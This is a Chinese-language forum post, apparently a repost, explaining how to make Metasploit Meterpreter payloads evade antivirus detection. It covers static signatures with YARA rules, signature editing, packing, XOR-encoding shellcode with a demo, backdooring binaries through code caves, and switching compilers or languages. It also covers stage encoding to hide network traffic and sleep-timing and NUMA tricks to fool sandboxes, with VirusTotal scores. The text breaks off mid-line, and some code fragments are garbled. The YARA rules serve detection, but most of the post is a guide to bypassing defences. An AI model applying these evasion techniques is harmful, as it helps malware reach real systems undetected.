標題:Meterpreter的免殺詳解

taibeihacker

Moderator

0×01 静态检测与对抗​

1.靜態分析原理
簡單的來說,就是通過特徵碼識別靜態文件,殺軟會掃描存在磁盤上的鏡像文件,如果滿足特徵碼,就識別為惡意軟件。
惡意軟件匹配規則yara匹配惡意軟件的時候就是用的這樣的方式。
通過特徵來識別抓HASH工具QuarksPwDump,yara規則如下(查看源碼)
/*
This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.
*/
rule QuarksPwDump_Gen : Toolkit {
meta:
description='Detects all QuarksPWDump versions'
author='Florian Roth'
date='2015-09-29'
score=80
hash1='2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa'
hash2='87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f'
hash3='a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9'
hash4='c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab'
hash5='677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa'
hash6='d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674'
hash7='8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819'
strings:
$s1='OpenProcessToken() error:0x%08X' fullword ascii
$s2='%d dumped' fullword ascii
$s3='AdjustTokenPrivileges() error:0x%08X' fullword ascii
$s4='\\SAM-%u.dmp' fullword ascii
condition:
all of them
}
可以看到匹配匹配$s1 $s2 $s3 $s4全部四條規則及標記為識別。
當然還有通過md5、sha1來計算文件hash識別惡意軟件,最簡單粗暴而且有效,但是也很容易繞過,也有分段進行hash來識別相似度的方法,原理和上面的特徵碼識別都是一樣的,這裡不再贅述。
2.對抗靜態分析
1.修改特徵碼
特徵碼的識別也有一些不同的方式,最開始是使用單個特徵碼來定位,就有了與之對抗的ccl,隨著對抗技術的升級,就有了多條的特徵碼,對應的也就有了mutilccl, myccl, virtest,甚至現在github上的自動化特徵碼識別,技術越來越多樣。
修改特徵碼最重要的是定位特徵碼,但是定位了特徵碼修改後並不代表程序就能正常運行,費時費力,由於各個殺軟廠商的特徵庫不同,所以一般也只能對一類的殺軟起效果。雖然效果不好,但有時候在沒有源碼的情況下可以一用。
雖然meterpreter對於我們來說是開源的,但是偶爾編譯出來的文件修改一些小地方就能讓殺軟直接報廢,也算是一個保留方法吧,這裡限於篇幅我就不貼代碼和操作了。
2.加殼
加殼雖然對於特徵碼繞過有非常好的效果,加密殼基本上可以把特徵碼全部掩蓋,但是缺點也非常的明顯,因為殼自己也有特徵。在某些比較流氓的國產殺軟的檢測方式下,主流的殼如VMP, Themida等,一旦被檢測到加殼直接彈框告訴你這玩意兒有問題,雖然很直接,但是還是挺有效的。有些情況下,有的常見版本的殼會被直接脫掉分析。
面對這種情況可以考慮用一切冷門的加密殼,有時間精力的可以基於開源的壓縮殼改一些源碼,效果可能會很不錯。
總得來說,加殼的方式來免殺還是比較實用的,特別是對於不開源的PE文件,通過加殼可以繞過很多特徵碼識別。
3.shellcode 編譯
metasploit是我認為世界上最好用的滲透測試工具。
msfvenom不僅提供多種格式的payload,其中就包括shellcode。 shellcode對於源碼免殺來說基本上是最好用的那種,繞過靜態殺軟的神器。
shellcode編譯的具體方式請參考我之前的文章meterpreter技巧分享,這裡不再贅述。
使用msfvenom選擇encoder的時候大家一般都會選擇shikata_ga_nai這個編碼方式(因為x86的encoder裡只有它的Rank是excellent),這個encoder的解碼和編碼過程都是隨機生成的。 (編碼過程可參考源碼)。
但是,這個編碼內容是有特徵的,經過shikata_ga_nai編碼之後的shellcode必定含有\xd9\x74\x24\xf4這串16進製字符,我寫了一個yara規則可以輕鬆檢測到由shikata_ga_na編碼的shellcode,規則如下:
rule Metasploit_Encoder_shikata_ga_nai :decoder {
meta:
description='Detects shikata_ga_nai encode shellcode'
author='Green-m'
date='2017-11-27'
strings:
$hex_string={ d9 7424 f4 ( ? | ? ) c9 b1 }
condition:
$hex_string
}
測試結果如圖:
Meterpreter免杀及对抗分析

當然不止是shikata_ga_na 編碼方式,其他的編碼方式特徵可能更加明顯(x86/fnstenv_mov 的編碼方式就被很多殺軟能直接檢測到,遠不如shikata_ga_na)。那麼如果要對抗這樣的情況,只能自己再將編碼過後的shellcode進行編碼或者加密。
我這裡寫一個簡單的xor作為demo供大家感受一下,代碼如下:
unsignedchar shellcode[]=
'\x33\xc9\xb1\xc6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xe6';
//the key to xor
unsignedchar key[]='\xcc\0xfa\0x1f\0x3d';
//encode shellcode
for ( i=0; i(sizeof(shellcode)-1) ; i=i+1)
{
shellcode=shellcode^key[i % sizeof(key)];
}
//decoder
voiddecode()
{
for (i=0; i(sizeof(shellcode)-1); i+=1)
shellcode=shellcode^key[i%sizeof(key)];
}
voidexecuteShellcode()
{
decode();
//run shellcode
}
4.shellcode植入後門
目前有不少文章和工具都提供了植入後門的方法。例如shellter,the-backdoor-factory,工具的功能都很強大。
這裡介紹一下手動在code cave(代碼間隙)植入後門的方法,整體流程如圖:
Meterpreter免杀及对抗分析

其中比較關鍵的部分是調整堆棧平衡,通過sub esp, 或者add esp, 來調整堆棧,否則執行完payload後的正常程序會崩潰。
如果沒有適合大小的code cave或者payload 的非常大,這個時候可能需要多個code cave一起使用,關鍵部分如下圖流程
Meterpreter免杀及对抗分析

還可以結合上一部分的編碼或加密,免殺效果很好,大部分的殺軟都直接GG .
5.多平台多語言
同一種編譯器生成的PE文件在某些區段上是有相同或相近的二進製字節的,殺軟在收集同一方式生成的大量木馬後,很容易就將這些PE文件的特徵提取出來加以識別(例如現在msfvenom直接生成的exe就是這樣的)。因此,通過更改編譯環境,讓被識別的特徵碼改變,達到免殺的目的,改變語言也是同樣的思路。
linux下的跨編譯器有mingw-w64, tdm-gcc等,veil-evasion的c語言編譯器是用的mingw64,而AVET的編譯器用的是tdm-gcc,最開始使用時效果還是不錯的,用得多了殺軟開始有意的提取這些編譯器編譯後的特徵碼,就被一殺一個準了。
veil作為一個持續更新的免殺框架,利用多種語言進行編譯,來實現繞過特徵碼免殺的目的,使用的語言包括c, python, ruby, perl, powershell, c#, go等,再通過pytoexe或者pywin32來轉換python代碼成exe,來保持自己木馬的多樣性(payload生成源碼)。
當然還有更猥瑣的方式,如轉換成js,php,sct等非編譯型語言執行,這裡就不詳細展開了,有興趣的自己去了解。
6.小結
靜態免殺大概就這樣方法,有時候需要結合多種方法一起使用,當然在沒有源碼的前提下一般都採用第一種和第二種方法,當然也可以考慮反彙編加花加空等修改源碼,這樣需要投入更多的時間和精力,也對操作者有更高的技能要求。

0×02 流量检测与对抗​

1.Meterpreter的傳輸加載
要知道meterpreter的流量特徵,首先要搞清楚meterpreter的傳輸方式。
metasploit的木馬分為兩個大類,staged 和stageless 。
staged類型的木馬的運行流程為:
客戶端在從服務器端接收stager後,stager由引導代碼loader和payload組成,客戶端在內存中分配一段地址將payload暫存起來,再通過loader來加載內存中的payload。這種內存中註入PE文件的方式稱為反射型DLL注入。
stageless的則是將完整的payload都編譯在木馬中,相對與staged的木馬來說,前者體積龐大不靈活,而且容易被殺。
我們以windows/meterpreter/reverse_tcp為例,下面是部分源碼(完整源碼)
# Generate and compile the stager
#
defgenerate_reverse_tcp(opts={})
combined_asm=%Q^
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
#{asm_block_api} ; To find some functions address such as VirutalAlloc()
start:
pop ebp
#{asm_reverse_tcp(opts)} ; Send and recvice socket connection
#{asm_block_recv(opts)} ; Do some stuff after recvied payload
^
Metasm:Shellcode.assemble(Metasm:X86.new, combined_asm).encode_string
end
asm_block_api部分是用來定義查詢API調用地址的函數。
asm_reverse_tcp部分是用來發送socket請求的。
asm_block_recv部分是建立連接後,接收服務端發送的stager,再通過VirtualAlloc()分配RWX權限的內存,然後執行後續。
那麼大家可以看到,這部分建客戶端發起連接的過程其實是沒有什麼特徵的,特徵主要是在服務端發送的stager,接下來讓我們詳細看看發送的stager裡是什麼。
為了讓客戶端運行服務端發送的meterpreter payload,需要先發送一個加載meterpreter_loader,這個引導代碼的源碼如下(完整源碼地址):
def asm_invoke_metsrv(opts={})
^
asm=%Q^
; prologue
dec ebp ; 'M'
pop edx ; 'Z'
call $+5 ; call next instruction
pop ebx ; get the current location (+7 bytes)
push edx ; restore edx
inc ebp ; restore ebp
push ebp ; save ebp for later
mov ebp, esp ; set up a new stack frame
; Invoke ReflectiveLoader()
; add the offset to ReflectiveLoader() (0x?)
add ebx, #{'0x%.8x' % (opts[:rdi_offset] - 7)}
call ebx ; invoke ReflectiveLoader()
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, config_ptr)
; offset from ReflectiveLoader() to the end of the DLL
add ebx, #{'0x%.8x' % (opts[:length] - opts[:rdi_offset])}
這段代碼主要作用是加載反射性注入的引導代碼ReflectiveLoader,通過ReflectiveLoader來加載meterpreter及相關配置。由於篇幅原因,這裡我們不深究反射性注入的詳細加載方式,知道大概原理即可,如果有興趣可以閱讀源碼理解。
2.Meterpreter檢測
這段meterpreter_loader是固定的一段彙編代碼,通過nasm將該部分彙編代碼轉化為機器碼如下(可能隨環境變化):
4d5ae8000000005b52455589e581c364130000ffd381c395a40200893b536a0450ffd0
該16進製字符串即為meterpreter的特徵。為了驗證思路,通過抓取流量來查看發送的payload,可以看到傳輸後發送的payload最開始的部分就是上面的機器碼,如圖所示:
Meterpreter免杀及对抗分析

編寫一個yara規則來測試是否能檢測到(yara除了能檢測靜態PE格式文件,也能檢測流量文件,當然你也可以使用snort),規則如下:
rule Metasploit_Meterpreter_Loader :RAT{
meta:
description='Detects Metasploit Meterpreter Windows Reverse Stager'
author='Green-m'
date='2017-12-11'
strings:
$hex_string={ 4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 64 13 00 00 ff d3 81 c3 95 a4 02 00 89 3b 53 6a 04 50 ff d0 }
condition:
$hex_string
}
用yara檢測傳輸的流量包,瞬間檢測到,如圖所示:
Meterpreter免杀及对抗分析

注:如果用該yara規則直接檢測進程中的內存的話,不管流量怎麼加密最終都會解密,然後被yara檢測到meterpreter_loader,除了效率較低之外,能繞過就只能靠修改源碼了。
這裡限於篇幅限制,其他payload的流量特徵請各位看官自己去摸索測試,這裡就不多浪費篇幅。
3.對抗流量檢測
既然流量是有特徵的,那麼有沒有辦法對流量進行加密呢,答案是肯定的,通過在服務端設置
set EnableStageEncoding true
set StageEncoder x86/fnstenv_mov
效果如圖所示,(當然這裡的stagerencoder可以任意選)
Meterpreter免杀及对抗分析

發送出去的stager就被編碼過了,從流量看都是被編碼過的數據,看不出來任何特徵,如圖:
Meterpreter免杀及对抗分析

如果你覺得這種對流量進行編碼的方式也不夠保險,那麼msf還提供了偏執模式(paranoid-mode),可以用證書對流量進行加密。
具體操作方法可以參考官方文檔或者我的博客。

0×03 动态监测对抗​

靜態檢測和流量監測都說到了,接下來我們說如何對抗沙盒。要做到完全對抗沙盒工程量是很大的,這裡我們只講一些猥瑣的小技巧來騙過殺軟的沙盒分析。
殺毒軟件最大的問題就是面對成千上萬的文件,如何最快速度的掃描完所有的文件,而不浪費大量的性能在單個文件上(在掃描過程中把機器卡死是相當糟糕的體驗)。要做到這個,需要在大量的文件中進行合理的取捨。
1.sleep
在很早的對抗殺軟的技術中,通過一個sleep,佔用大量的時間,就能夠繞過殺軟的動態分析,當然現在這樣肯定是不行的了。推測殺軟會hook 系統sleep函數,然後直接略過,直接後面的代碼,這樣是最聰明和省事兒的方法了。為了驗證想法,我們通過一段代碼來測試一下。
為了除去別的容易乾擾的因素,我選擇使用固定的一種編譯器對shellcode進行編譯。
直接編譯生成,virustotal的結果如下,19/67
Meterpreter免杀及对抗分析

添加如下的代碼之後再進行檢測:
time_begin=GetTickCount() ;
Sleep(5555);
time_end=GetTickCount();
DWORD time_cost=time_end - time_begin;
if((time_cost time_sleep+5) || (time_cost (time_sleep - 5)))
{return0;}
runshellcode();
檢測16/66
Meterpreter免杀及对抗分析

雖然只減少了3個,不過也說明部分殺軟還是吃這一套。
2.NUMA
NUMA代表Non Uniform Memory Access(非一致內存訪問)。它是一個在多系統中配置內存管理的方法。它與定義在Kernel32.dll中所有一系列函數連接在一起。
更多的信息可以參考官方文檔:
代碼如下:
address=VirtualAllocExNuma(handle, NULL, sizeof(buf), MEM_RESERVE | MEM_C
 
返回
上方